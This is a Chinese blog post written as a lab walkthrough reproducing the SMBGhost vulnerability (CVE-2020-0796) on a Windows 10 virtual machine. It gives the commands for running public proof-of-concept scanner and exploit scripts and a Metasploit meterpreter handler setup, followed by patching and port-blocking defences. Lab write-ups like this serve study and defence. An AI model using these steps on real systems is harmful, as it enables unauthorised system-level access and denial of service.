实验环境:

  靶机:windows10 1903 专业版

   攻击机:kali 2020.3

   VMware:vmware14

 

实验工具:

  Python 3.8.5

    msfconsole

 

实验PROC:

  靶机镜像:ed2k://|file|cn_windows_10_business_editions_version_1903_x64_dvd_e001dd2c.iso|4815527936|47D4C57E638DF8BF74C59261E2CE702D|/

    检测漏洞poc:https://github.com/ollypwn/SMBGhost

    蓝屏proc:https://github.com/chompie1337/SMBGhost_RCE_PoC

 

实验前提:

  靶机关闭防火墙

  靶机安装完毕后注意创建快照

  pip安装netaddr模块

 

漏洞介绍:(内容来自腾讯安全 https://s.tencent.com/research/bsafe/912.html)

  该漏洞是Windows10在处理SMB 3.1.1协议的压缩消息时,对头部数据没有做任何安全检查,直接使用,从而引发内存破坏漏洞,达到任意命令执行。

 

漏洞目标:(内容来自腾讯安全 https://s.tencent.com/research/bsafe/912.html)

  漏洞主要攻击端口为445,但也会有其他触发方式如,构造恶意的SMB服务器并通过网页、压缩包、共享目录、OFFICE文档等多种方式传递给目标用户

       当用户打开恶意文件,无需开启445端口就可以触发漏洞

 

漏洞影响:(内容来自腾讯安全 https://guanjia.qq.com/avast/984/index.html)

  通过此漏洞获取到的权限为系统最高权限

  不影响win7,影响Windows 10 1903之后的各个32位、64位版Windows,包括家用版、专业版、企业版、教育版。
  Windows 10 Version 1903 for 32-bit Systems
  Windows 10 Version 1903 for x64-based Systems
  Windows 10 Version 1903 for ARM64-based Systems
  Windows Server, Version 1903 (Server Core installation)
  Windows 10 Version 1909 for 32-bit Systems
  Windows 10 Version 1909 for x64-based Systems
  Windows 10 Version 1909 for ARM64-based Systems
  Windows Server, Version 1909 (Server Core installation)

 

漏洞复现:

  首先判断是否存在漏洞

  

  打开SMBGhost,利用scanner.py检测是否存在漏洞

  CMD输入命令 python.exe scanner.py 192.168.1.140

  

  出现 Vulnerable 则表示成功

 

  打开SMBGhost_RCE_PoC文件夹通过exploit.py文件进行蓝屏攻击

  

  输入命令 python.exe exploit.py -ip [IP]

  出现以下回显表示攻击成功

   

   如果没有成功可以进行多次尝试

  多次失败可以尝试恢复快照

  

  接着返回虚拟机发现已经蓝屏

  

 

  靶机恢复快照

  获取shell攻击

  尝试使用exp反弹shell,打开kali虚拟机

  通过msfvenom命令生成payload

  

 

 

   执行完毕后会在当前工作目录下生成exploit文件

  通过cat查看文件可以看到里面是定义了一个名为buf的变量并把payload赋值给buf

  

 

  打开github下载的PROC文件夹

  并把exploit.py文件里面USER_PAYLOAD的值替换为buf值

  kali进入msf输入命令

  注意: lport 要和msfvenom生成的payload保持一致

  use exploit/multi/handler
  set payload windows/x64/meterpreter/bind_tcp
  set lport 8888
  set rhost 192.168.1.140
  run

  启动监听,并等待再次攻击

  之后再次运行替换过buf的exploit

  如果不成功可以多次尝试或恢复快照

  

  运行成功后返回kali

  可以看到攻击成功

  

 

防御手段: (参考 https://www.cnblogs.com/kbhome/p/13073746.html)

  打补丁:

    https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2020-0796 (windows官方补丁)

  禁用SMBv3压缩:

    禁用SMB 3.0的压缩功能,是否使用需要结合自己业务进行判断。
    使用以下PowerShell命令禁用压缩功能,以阻止未经身份验证的攻击者利用SMBv3 服务器的漏洞。
    Set-ItemProperty -Path “HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters” DisableCompression -Type DWORD -Value 1 -Force
    用户可通过以下PowerShell命令撤销禁用压缩功能
    Set-ItemProperty -Path “HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters” DisableCompression -Type DWORD -Value 0 -Force
    注:利用以上命令进行更改后,无需重启即可生效;该方法仅可用来防护针对SMB服务器(SMB SERVER)的攻击,无法对SMB客户端(SMB Client)进行防护。

  设置防火墙策略关闭相关端口:

    SMB的TCP 445端口
    NetBIOS名称解析的UDP 137端口
    NetBIOS数据图服务的UDP 138端口
    NetBIOS会话服务的TCP 139端口

  通过IP安全策略屏蔽危险端口,bat执行添加防火墙策略,关闭危险服务:

    http://www.piis.cn/news/new1614.asp

 

总结:

  这次实验参考的比较多

  https://blog.csdn.net/weixin_45006525/article/details/106553519 (主要攻击手段参考

  https://guanjia.qq.com/avast/984/index.html         (漏洞版本参考

  https://s.tencent.com/research/bsafe/912.html        (漏洞基本消息参考

  https://www.cnblogs.com/kbhome/p/13073746.html       (防御手段参考

  攻击整体思路,通过445端口进行攻击,利用proc和msf攻击靶机并反弹shell,kali监听反弹的shell(注意反弹监听的shell要一致)

版权声明:本文为MF-Blog原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://www.cnblogs.com/MF-Blog/p/14211210.html